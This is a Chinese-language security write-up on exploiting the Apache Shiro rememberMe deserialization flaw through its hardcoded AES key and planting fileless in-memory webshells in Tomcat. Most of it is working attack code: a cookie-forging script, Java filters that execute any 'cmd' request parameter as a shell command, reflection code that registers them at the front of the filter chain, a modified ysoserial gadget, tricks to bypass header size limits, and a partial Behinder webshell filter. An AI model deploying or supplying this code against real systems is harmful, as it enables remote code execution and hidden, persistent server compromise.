shiro反序列化漏洞
漏洞原理 shiro框架中cookie中的rememberMe字段存储的是java序列化后的数据,并且通过AES加密和base64编码后传输,但由于框架中以硬编码的形式存储了AES加密的key,导致了攻击者可以构造恶意的序列化数据,在服务端进行反序列化时造成rce。 影响版本为<1.2.4
漏洞分析 造成漏洞的主要原因还是硬编码造成的,这里就直接对Cookie中rememberMe的解密到反序列化的过程分析一下。 环境: github 拉一个shiro下来,切到1.2.4版本,直接用idea打开sample-web目录,在idea中配置一个tomcat就好了。
先从处理rememberMe的入口点分析org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
这个方法,先打个断点,随便发个包就能触发这个函数。 跟进一下getRememberedSerializedIdentity
函数,取出了Cookie中的rememberMe,并且base64解码。 跟进convertBytesToPrincipals
函数,可以看到这里用的加密算法:AES/CBC/PKCS5Padding
继续跟进decrypt
函数 这里调用了解密函数cipherService.decrypt
,其中的第一个参数encrypted
就是rememberMe,第二个参数盲猜就是硬编码的key,为了证明,这里再跟一下。 返回了AbstractRememberMeManager
类中的decryptionCipherKey
属性,可以看出是个javaBean,有get肯定有set, 这里在全局找一下哪里调用了setDecryptionCipherKey
,org.apache.shiro.mgt.AbstractRememberMeManager#setCipherKey
再全局找哪里调用了setCipherKey
_DEFAULT_CIPHER_KEY_BYTES_
正是aes加密的key 再回到cipherService.decrypt
这里取了前16个字节作为iv,并且将去掉前16字节后的数据进行解密,所以这里的iv也是可控的。 后续就是将解密后java序列化数据一路return。 回到convertBytesToPrincipals
函数中,一串deserialize
函数,最后发现了readObject()
这里解密的过程就清楚了。 base64->AES(iv为为密文的前16位,key为”kPH+bIxk5D2deZiIxcaaaA==“,加密方式为AES/CBC/PKCS5Padding
)->反序列化
利用脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import base64import sysimport uuidimport subprocessimport requestsfrom Crypto.Cipher import AESdef encode_rememberme (payload ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(base64.b64decode(payload)) base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_rememberMe_value if __name__ == '__main__' : payload1="" payload=encode_rememberme(payload1) print ("rememberMe={}" .format (payload.decode()))
Tomcat内存webshell tomcat中内存webshell的原理就是通过动态注册的方式,添加Filter或者Servlet,利用处理请求时的doFilter()
或者service()
,操作request和response,到达无文件落地的webshell。 写内存webshell大致就两步 1.获取tomcat上下文对象 2.通过上下文对象动态注册Filter或Servlet
获取上下文对象 通过这几篇文章,基于Tomcat无文件Webshell研究 ,基于tomcat的内存 Webshell 无文件攻击技术 ,基于全局储存的新思路 | Tomcat的一种通用回显方法研究 大概总结了下大佬们的方法,思路大致都是通过分析tomcat中处理request,response的执行栈,找到哪些对象中将request和response作为属性存储了起来,利用反射或其他方法获取到该对象,进而获取到request和response。
利用org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
该类将request和response存进了ThreadLocal,通过反射修改WRAP_SAME_OBJECT
为true
,初始化lastServicedRequest
和lastServicedResponse
,可以在之后的请求中通过他们获得request
和response
。 但是在lastServicedRequest.set(request)
之前,已经执行了filter.doFilter(request, response, this);
,并且rememberMe功能就是ShiroFilter的一个模块,所以在反序列化时不能获取到request,在shiro反序列化中是行不通的。
Thread.currentThread.getContextClassLoader()
参考这这篇文章 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 ,他这里分析的比较长,一直获取到了request对象,主要是用来进行回显的,如果是用来写内存马的话,没有那么复杂,不需要获取到request,只要获取到StandardContext
就够了。 简单看一下Thread.currentThread.getContextClassLoader()
获取到的内容。 获取到了StandardContext
的子类TomcatEmbeddedContext
。
通过Mbean获取
没有复现成功tomcat不出网回显连续剧第六集
通过Spring框架
注册Filter
通过StandardContext 创建一个恶意filer,重写doFilter()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Filter filter=new Filter () { @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , req.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return ; } filterChain.doFilter(servletRequest, servletResponse); } };
通过Thread.currentThread.getContextClassLoader()
获取到StandarContext对象。
1 2 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
分析一下Filter调用的流程 查看执行栈中第一个ApplicationFilterChain
的上一条filterChain
的初始化,调用了的ApplicationFilterChain
的createFilterChain
函数 看一下关键部分的代码 从StandardContext
中取出FilterMaps,根据FilterMaps与请求的url的匹配情况,再从StandardContext
中取出对应的FilterConfig
调用addFilter
添加到FilterChain
中。 从这里就可以看出来,如果要添加Filter,需要在StandardContext
中操作FilterConfigs
和FilterMaps
接下来添加FilterMap
和Filterconfig
到StandardContext
中主要依赖这三个方法:org.apache.catalina.core.StandardContext#addFilterDef
org.apache.catalina.core.StandardContext#addFilterMap
org.apache.catalina.core.StandardContext#filterStart
通过addFilterDef
添加FilterDef
到StandardContext
,再通过filterStart
添加到FilerConfigs
中filterStart
中先清空FilterConfigs
,在遍历FilterDefs
,生成FilterConfig
添加到FilterConfigs
中。 具体实现代码
1 2 3 4 5 FilterDef filterDef = new FilterDef ();filterDef.setFilter(filter); filterDef.setFilterName("yaoa" ); standardCtx.addFilterDef(filterDef); standardCtx.filterStart();
添加FilterMap
添加Filter有两个相关的方法:addFilterMap
和addFilterMapBefore
,其内部分别调用了this.filterMaps.add(filterMap)
和this.filterMaps.addBefore(filterMap)
这里其实用哪个影响都不大,addBefor
也不能直接插入到首位,而是插入到insertPoint的位置。 插入FilterMap
的实现代码
1 2 3 4 5 FilterMap filterMap=new FilterMap (); filterMap.setFilterName("yaoa" ); filterMap.addURLPattern("/*" ); filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST)); standardCtx.addFilterMap(filterMap);
从前面createFilterChain
中的代码可以看到,是通过遍历FilterMaps
来将Filter
添加到FilterChain
中的,并且Filter
本身就是通过链式调用的,所以最好是将恶意的Filter
插入到最前面,这里就可以通过控制FilterMaps
中的顺序来间接控制FilterChain
中的顺序。 这里实现方法也很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 FilterMap[] filterMaps=standardCtx.findFilterMaps(); FilterMap[] tmpFilterMaps=new FilterMap [filterMaps.length]; int index=1 ;for (int i=0 ;i<filterMaps.length;i++){ if (filterMaps[i].getFilterName()=="yaoa" ){ tmpFilterMaps[0 ]=filterMaps[i]; }else { tmpFilterMaps[index]=filterMaps[i]; index++; } } for (int i=0 ;i<filterMaps.length;i++){ filterMaps[i]=tmpFilterMaps[i]; }
恶意Filter
在FilterMaps
中的第一位,下图为第二次请求时的filterChain。
还有一个就是后面写脚本的时候发现的,如果同一个Filter
注册两次,之后的访问都是报错,必须重启tomcat才会恢复正常,所以需要在注册前检查一下是否已经存在了,避免发送两次payload导致tomcat挂了。 最后完整的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 Filter filter=new Filter () { @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , req.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return ; } filterChain.doFilter(servletRequest, servletResponse); } }; org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); if (standardCtx.findFilterDef("yaoa" )==null ){ FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName("yaoa" ); filterDef.setFilterClass(filter.getClass().getName()); standardCtx.addFilterDef(filterDef); standardCtx .filterStart(); FilterMap filterMap=new FilterMap (); filterMap.setFilterName("yaoa" ); filterMap.addURLPattern("/*" ); filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST)); standardCtx.addFilterMap(filterMap); FilterMap[] filterMaps=standardCtx.findFilterMaps(); FilterMap[] tmpFilterMaps=new FilterMap [filterMaps.length]; int index=1 ; for (int i=0 ;i<filterMaps.length;i++){ if (filterMaps[i].getFilterName()=="yaoa" ){ tmpFilterMaps[0 ]=filterMaps[i]; }else { tmpFilterMaps[index]=filterMaps[i]; index++; } } for (int i=0 ;i<filterMaps.length;i++){ filterMaps[i]=tmpFilterMaps[i]; } }
通过ApplicationContext 参考动态注册之Servlet+Filter+Listener ,这里用的是ServletContext
,不过一般情况下可以获取的都是他的子类ApplicationContext
还是用Thread.currentThread.getContextClassLoader()
来获取ApplicationContext
从上一种方法中得到的StandardContext
中就有该对象 但是这里是protected修饰的,需要用反射获取。
1 2 3 4 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();Field applicationContextField=Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); ApplicationContext applicationContext=(ApplicationContext) applicationContextField.get(standardCtx);
正常添加Filter的代码
1 2 3 4 FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter("yaoa" , filter); filterRegistration.setInitParameter("encoding" , "utf-8" ); filterRegistration.setAsyncSupported(false ); filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false , new String []{"/*" });
不过这里有一个问题,context.state
必须等于LifecycleState.STARTING_PREP
,可以用反射修改,添加完后再改回来。
1 2 3 4 5 6 7 8 9 10 11 12 Field stateField=Class.forName("org.apache.catalina.util.LifecycleBase" ).getDeclaredField("state" ); stateField.setAccessible(true ); stateField.set(standardCtx,LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter("yaoa" , filter); stateField.set(standardCtx,LifecycleState.STARTED); filterRegistration.setInitParameter("encoding" , "utf-8" ); filterRegistration.setAsyncSupported(false ); filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false , new String []{"/*" });
然后问题又来了 可以看到,添加完后,filterDefs
和filterMaps
中都有了新添加的filter
,但是filterConfigs
中没有,从前面的分析中能看出来,filterChain
是遍历filterMaps
,然后从filterConfigs
中找到对应的filterConfig
,才能添加到filterChain
中。 这里可以再用一次上个方法中提到的org.apache.catalina.core.StandardContext#filterStart
函数,通过filterDefs
来生成filterConfigs
。 最后再调整一下filterMaps
中的顺序,就可以了,最终的代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field applicationContextField=Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext=(ApplicationContext) applicationContextField.get(standardCtx); if (standardCtx.findFilterDef("yaoa" )==null ) { Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase" ).getDeclaredField("state" ); stateField.setAccessible(true ); stateField.set(standardCtx, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter("yaoa" , filter); stateField.set(standardCtx, LifecycleState.STARTED); filterRegistration.setInitParameter("encoding" , "utf-8" ); filterRegistration.setAsyncSupported(false ); filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false , new String []{"/*" }); standardCtx.filterStart(); FilterMap[] filterMaps=standardCtx.findFilterMaps(); FilterMap[] tmpFilterMaps=new FilterMap [filterMaps.length]; int index=1 ; for (int i=0 ;i<filterMaps.length;i++){ if (filterMaps[i].getFilterName()=="yaoa" ){ tmpFilterMaps[0 ]=filterMaps[i]; }else { tmpFilterMaps[index]=filterMaps[i]; index++; } } for (int i=0 ;i<filterMaps.length;i++){ filterMaps[i]=tmpFilterMaps[i]; } }
与shiro反序列化漏洞结合 这里就直接看ysoserial
工具中的源码。 利用CommonsBeanutils1
这条链子 跟踪到Gadgets._createTemplatesImpl()_
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath (abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\" , "\\\\" ).replace("\"" , "\\\"" ) + "\");" ; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte [] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; }
这里用到了javassist,是用来操作java字节码的,这里的作用就是生成了一个AbstractTranslet的子类,并且在static块中注入了恶意代码。 最后将携带恶意代码的abstTransletAbstractTranslet类转换成byte数组的格式,存到templates的_bytecodes
属性中。 这里的templates跟一下就可以看出来是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的一个实例。
理论上只要在AbstractTranslet子类的static块中插入注册Filter的恶意代码就可以了。 所以这里就先新建一个AbstractTranslet的子类,并且实现Filter接口(前面为了方便是直接在代码中new Filter()的形式创建的,但是我把它跟shiro结合的时候,发现这么创建不成功,原因不明,所以就这里就改了一下。),再把刚才的注册filter的代码放到static块中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 package ysoserial.MyClass;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.io.InputStream;import java.util.Scanner;public class Test7 extends AbstractTranslet implements Filter { static { try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); Filter filter=new Test7 (); if (standardCtx.findFilterDef("yaoa" )==null ){ FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName("yaoa" ); filterDef.setFilterClass(filter.getClass().getName()); standardCtx.addFilterDef(filterDef); standardCtx .filterStart(); FilterMap filterMap=new FilterMap (); filterMap.setFilterName("yaoa" ); filterMap.addURLPattern("/*" ); filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST)); standardCtx.addFilterMap(filterMap); FilterMap[] filterMaps=standardCtx.findFilterMaps(); FilterMap[] tmpFilterMaps=new FilterMap [filterMaps.length]; int index=1 ; for (int i=0 ;i<filterMaps.length;i++){ if (filterMaps[i].getFilterName()=="yaoa" ){ tmpFilterMaps[0 ]=filterMaps[i]; }else { tmpFilterMaps[index]=filterMaps[i]; index++; } } for (int i=0 ;i<filterMaps.length;i++){ filterMaps[i]=tmpFilterMaps[i]; } } } catch (Exception e){ } } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void destroy () { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , req.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return ; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } }
在Gadgets._createTemplatesImpl()_
中,javassist创建类的代码都删掉,通过ysoserial中提供的ClassFiles._classAsBytes_
来将恶意类转成byte数组。 然后重新编译一下ysoserial。 mvn clean package -Dmaven.test.skip=true 利用ysoserial生成payload,由于刚才改完之后,没有处理传入的cmd命令,所以cmd命令随便输就可以。 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 aaaa | base64 将payload放到shiro利用的脚本中,生成cookie,然后起一个vulhub的docker环境,试一下。 cookie太大了,超过了tomcat中的限制,这个坑下面再填。
这里我找到了两种方法。 1.使用post请求,利用ClassLoader加载body中的恶意类的字节码,创建一个恶意类的实例,触发static块。 2.修改tomcat的maxHeaderSize
加载字节码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package ysoserial.MyClass;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.python.antlr.ast.Str;import sun.misc.BASE64Decoder;import java.io.Serializable;import java.lang.reflect.Field;import java.lang.reflect.Method;public class Test2 extends AbstractTranslet { static { try { javax.servlet.http.HttpServletRequest request=((org.springframework.web.context.request.ServletRequestAttributes)org. springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); Field r = request.getClass().getDeclaredField("request" ); r.setAccessible(true ); javax.servlet.http.HttpSession session=request.getSession(); String c=request.getParameter("c" ); byte [] classBytes=new BASE64Decoder ().decodeBuffer(c); Method deLoder=ClassLoader.class.getDeclaredMethod("defineClass" ,new Class []{ byte [].class, int .class, int .class}); deLoder.setAccessible(true ); Class cc=(Class) deLoder.invoke(Test2.class.getClassLoader(),classBytes,0 ,classBytes.length); cc.newInstance(); } catch (Exception e){ System.out.println("e" ); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
这里用了一下spring框架,理论上不用也可以,可以利用之前提到的方式获取request对象,但是代码太长了,放到cookie里还是太大。
修改一下Gadgets中的代码, 重新编译,获得payload,再放到shiro利用的脚本中,获得cookie。 再把注册filter的类编译,获取它的字节码,base64编码后放到c字段中。 执行命令
修改size 参考Tomcat的一种通用回显方法研究 ,Shiro 550 漏洞学习 (二):内存马注入及回显 影响请求头大小限制的是Request
的inputBuffer
,org.apache.coyote.http11.AbstractHttp11Protocol
的maxHeaderSize
的大小会影响新创建的inputBuffer
。 这里看源码实在看不懂这几个的关系,直接动态调试一波。 通过@Litch1的思路,获取到requestGroupInfo
,一个存储requestInfo
的list。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler" ,null ); getHandlerMethod.setAccessible(true ); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();Field appcontextFiled=Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); appcontextFiled.setAccessible(true ); ApplicationContext applicationContext=(ApplicationContext) appcontextFiled.get(standardCtx); Field standardServiceField=Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService=(StandardService)standardServiceField.get(applicationContext); Connector[] connectors=standardService.findConnectors(); for (int i = 0 ; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0 ; j < classes.length; j++) { if (52 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global" ); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors" ); globalField.setAccessible(true ); processorsField.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null )); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000 ); } } }
这里打个断点调试,第一次请求时,requestGroupInfo
的size是1,并且尝试多次后,requestGroupInfo
中都是Requestinfo@6329
,Request@6341
,Http11InputBuffer@6355
,虽然下面修改了MaxHeaderSize
,但由于inputBuffer
复用的原因,headerSize
也没有变。 如果在进入到断点后,在程序进入下一步前再发送一次请求。之后每次进入断点时,requestGroupInfo
的size变成了2,并且新建了有一个inputBuffer
,新inputBuffer
的headerSize
是修改后的maxHeaderSize
,这个时候就没有cookie大小的限制了,所以这种方法还需要结合并发去实现。 但是这块我理解的是,因为只有新建的inputBuffer
是没有限制的,并不能保证之后的请求都是通过新建的inputBuffer
,比如我后面随便一条带命令的请求,还是由没有修改之前的inputBuffer
处理的,如果要找到新建的inputBuffer
,可能还需要通过并发的方式,这种方式并不完美。 所以考虑在修改maxHeaderSize
的情况下,遍历requestGroupInfo
,直接修改每条inputBuffer
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler" ,null ); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req" ); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize" ); getHandlerMethod.setAccessible(true ); requestField.setAccessible(true ); headerSizeField.setAccessible(true ); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();Field appcontextFiled=Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); appcontextFiled.setAccessible(true ); ApplicationContext applicationContext=(ApplicationContext) appcontextFiled.get(standardCtx); Field standardServiceField=Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService=(StandardService)standardServiceField.get(applicationContext); Connector[] connectors=standardService.findConnectors(); for (int i = 0 ; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0 ; j < classes.length; j++) { if (52 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global" ); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors" ); globalField.setAccessible(true ); processorsField.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null )); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k=0 ;k<list.size();k++){ Request r=(Request)requestField.get(list.get(k)); headerSizeField.set(r.getInputBuffer(),100000 ); } } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000 ); } } }
之后所有的inputBuffer
都是修改过的size。
适配冰蝎 参考冰蝎自带服务端,这里改一下使其适配Filter。利用动态二进制加密实现新型一句话木马之Java篇
冰蝎自带服务端 冰蝎的原理跟 解决“Request header is too large” 时使用的动态加载字节码的方式很类似。不过这里没有用反射,直接继承了ClassLoader
,然后调用父类中的defineClass()
方法。 而且也没有用那个文章里说的get握手的过程,直接将密码作为AES加密的key。通过pageContext
,使恶意类获得request
,response
,session
对象。 直接反编译冰蝎的jar包,看一下最新版本的内部是怎么实现的。 每个payload中,都是用fileContext()
去处理传入的参数,这里跟一下这个函数。 这里可以看出来了,这个版本的冰蝎不只可以用PageContext
来传递request对象,也可以用存储了request
,response
,session
的Map来存储。所以把自带服务端的pageContext改成一个存储了request等的Map,传入equals()函数。 下面是具体Filter
的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 package ysoserial.MyClass;import org.apache.catalina.LifecycleState;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.util.LifecycleBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.math.BigInteger;import java.security.MessageDigest;import java.util.*;public class BehinderFilter extends ClassLoader implements Filter { static { try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); Filter filter=new BehinderFilter (); if (standardCtx.findFilterDef("yaoa" )==null ){ FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName("yaoa" ); filterDef.setFilterClass(filter.getClass().getName()); standardCtx.addFilterDef(filterDef); standardCtx .filterStart(); FilterMap filterMap=new FilterMap (); filterMap.setFilterName("yaoa" ); filterMap.addURLPattern("/yaoyao" ); filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST)); standardCtx.addFilterMap(filterMap); FilterMap[] filterMaps=standardCtx.findFilterMaps(); FilterMap[] tmpFilterMaps=new FilterMap [filterMaps.length]; int index=1 ; for (int i=0 ;i<filterMaps.length;i++){ if (filterMaps[i].getFilterName()=="yaoa" ){ tmpFilterMaps[0 ]=filterMaps[i]; }else { tmpFilterMaps[index]=filterMaps[i]; index++; } } for (int i=0 ;i<filterMaps.length;i++){ filterMaps[i]=tmpFilterMaps[i]; } } } 